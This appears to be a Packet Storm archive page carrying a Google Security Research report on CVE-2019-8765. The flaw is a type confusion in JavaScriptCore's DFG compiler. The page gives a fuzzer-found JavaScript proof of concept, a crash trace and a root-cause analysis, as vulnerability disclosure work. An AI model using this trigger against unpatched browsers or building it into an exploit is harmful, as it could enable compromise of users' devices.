exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

JavaScriptCore GetterSetter Type Confusion

JavaScriptCore GetterSetter Type Confusion
Posted Oct 30, 2019
Authored by saelo, Google Security Research

JavaScriptCore (JSC) GetterSetter suffers from a type confusion vulnerability during DFG compilation.

tags | exploit
advisories | CVE-2019-8765
SHA-256 | f8e60930397de757314b85c289c63228a5b19761b6793d77e58b54ffc9aab262

JavaScriptCore GetterSetter Type Confusion

Change Mirror Download
JSC: GetterSetter type confusion during DFG compilation

The following JavaScript program, found by Fuzzilli and slightly modified, crashes JavaScriptCore built from HEAD and the current stable release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc):

let notAGetterSetter = {whatever: 42};

function v2(v5) {
const v10 = Object();
if (v5) {
const v12 = {set:Array};
const v14 = Object.defineProperty(v10,\"length\",v12);
const v15 = (140899729)[140899729];
} else {
v10.length = notAGetterSetter;
}
const v18 = new Uint8ClampedArray(49415);
v18[1] = v10;
const v19 = v10.length;
let v20 = 0;
while (v20 < 100000) {
v20++;
}
}
const v26 = v2();
for (let v32 = 0; v32 < 1000; v32++) {
const v33 = v2(true);
}

/*
Crashes with:
ASSERTION FAILED: from.isCell() && from.asCell()->JSCell::inherits(*from.asCell()->vm(), std::remove_pointer<To>::type::info())
../../Source/JavaScriptCore/runtime/JSCast.h(44) : To JSC::jsCast(JSC::JSValue) [To = JSC::GetterSetter *]
1 0x1111ada79 WTFCrash
2 0x1111ada99 WTFCrashWithSecurityImplication
3 0x10ffb8f55 JSC::GetterSetter* JSC::jsCast<JSC::GetterSetter*>(JSC::JSValue)
4 0x10ffaf820 JSC::DFG::AbstractInterpreter<JSC::DFG::InPlaceAbstractState>::executeEffects(unsigned int, JSC::DFG::Node*)
5 0x10ff9f37b JSC::DFG::AbstractInterpreter<JSC::DFG::InPlaceAbstractState>::execute(unsigned int)
6 0x10ff9def2 JSC::DFG::CFAPhase::performBlockCFA(JSC::DFG::BasicBlock*)
7 0x10ff9d957 JSC::DFG::CFAPhase::performForwardCFA()
8 0x10ff9d647 JSC::DFG::CFAPhase::run()
9 0x10ff9cc61 bool JSC::DFG::runAndLog<JSC::DFG::CFAPhase>(JSC::DFG::CFAPhase&)
10 0x10ff6c65b bool JSC::DFG::runPhase<JSC::DFG::CFAPhase>(JSC::DFG::Graph&)
11 0x10ff6c625 JSC::DFG::performCFA(JSC::DFG::Graph&)
12 0x110279031 JSC::DFG::Plan::compileInThreadImpl()
13 0x110274fa6 JSC::DFG::Plan::compileInThread(JSC::DFG::ThreadData*)
14 0x11052a9bb JSC::DFG::Worklist::ThreadBody::work()
15 0x1111b3c69 WTF::AutomaticThread::start(WTF::AbstractLocker const&)::$_0::operator()() const
16 0x1111b38a9 WTF::Detail::CallableWrapper<WTF::AutomaticThread::start(WTF::AbstractLocker const&)::$_0, void>::call()
17 0x1102c433a WTF::Function<void ()>::operator()() const
18 0x1111f0350 WTF::Thread::entryPoint(WTF::Thread::NewThreadContext*)
19 0x111285525 WTF::wtfThreadEntryPoint(void*)
20 0x7fff5a7262eb _pthread_body
21 0x7fff5a729249 _pthread_start
22 0x7fff5a72540d thread_start
*/

The assertion indicates that a JSCell is incorrectly downcasted to a GetterSetter [1] (a pseudo object used to implement property getters/setter). In non debug builds, a type confusion then follows.

Below is my preliminary analysis of the cause of the bug.

The function v2 is eventually JIT compiled by the FTL JIT compiler. Initially, it will create the following (pseudo) DFG IR for it:

# Block 0 (before if-else):
44: NewObject(...)
<jump to block 1 or 2 depending on v5>

# Block 1 (the if part):
... <install .length property on @44>
// Code for const v15 = (140899729)[140899729];
ForceOSRExit
Unreachable

# Block 2 (the else part)
PutByOffset @44, notAGetterSetter
PutStructure

# Block 3 (after the if-else):
...
// Code for v10.length. Due to feedback from previous executions, DFG
// JIT speculates that the if branch will be taken and that it will see
// v10 with a GetterSetter for .length here
CheckStructure @44, structureWithLengthBeingAGetterSetter
166: GetGetterSetterByOffset @44, .length // Load the GetterSetter object from @44
167: GetGetter @166 // Load the getter function from the GetterSetter
...


Here, the end of block 1 has already been marked as unreachable due to the element load from a number which will always cause a bailout.

Later, the global subexpression elimination phase [2] runs and does the following (which can be seen by enabling verbose CSE [3]):

* It determines that the GetGetterSetterByOffset node loads the named property from the object @44
* It determines that this property slot is assigned in block 2 (the else block) and that this block strictly dominates the current block (meaning that the current block can only be reached through block 2)
* This is now the case as block 1 does a bailout, so block 3 can never be reached from block 1
* As such, CSE replaces the GetGetterSetterByOffset operation with the constant for |notAGetterSetter| (as that is what is assigned in block 2).

At this point the IR is incorrect as the input to a GetGetter operation is expected to be a GetterSetter object, but in this case it is not. During later optimizations, e.g. the AbstractInterpreter relies on that invariant and casts the input to a GetterSetter object [4]. At that point JSC crashes in debug builds with the above assertion. It might also be possible to trigger the type confusion at runtime instead of at compile time but I have not attempted that.

Please note: this bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.


[1] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/runtime/GetterSetter.h#L43
[2] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/dfg/DFGCSEPhase.h#L49
[3] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/dfg/DFGCSEPhase.cpp#L51
[4] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L2811


Related CVE Numbers: CVE-2019-8765.



Found by: saelo@google.com

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close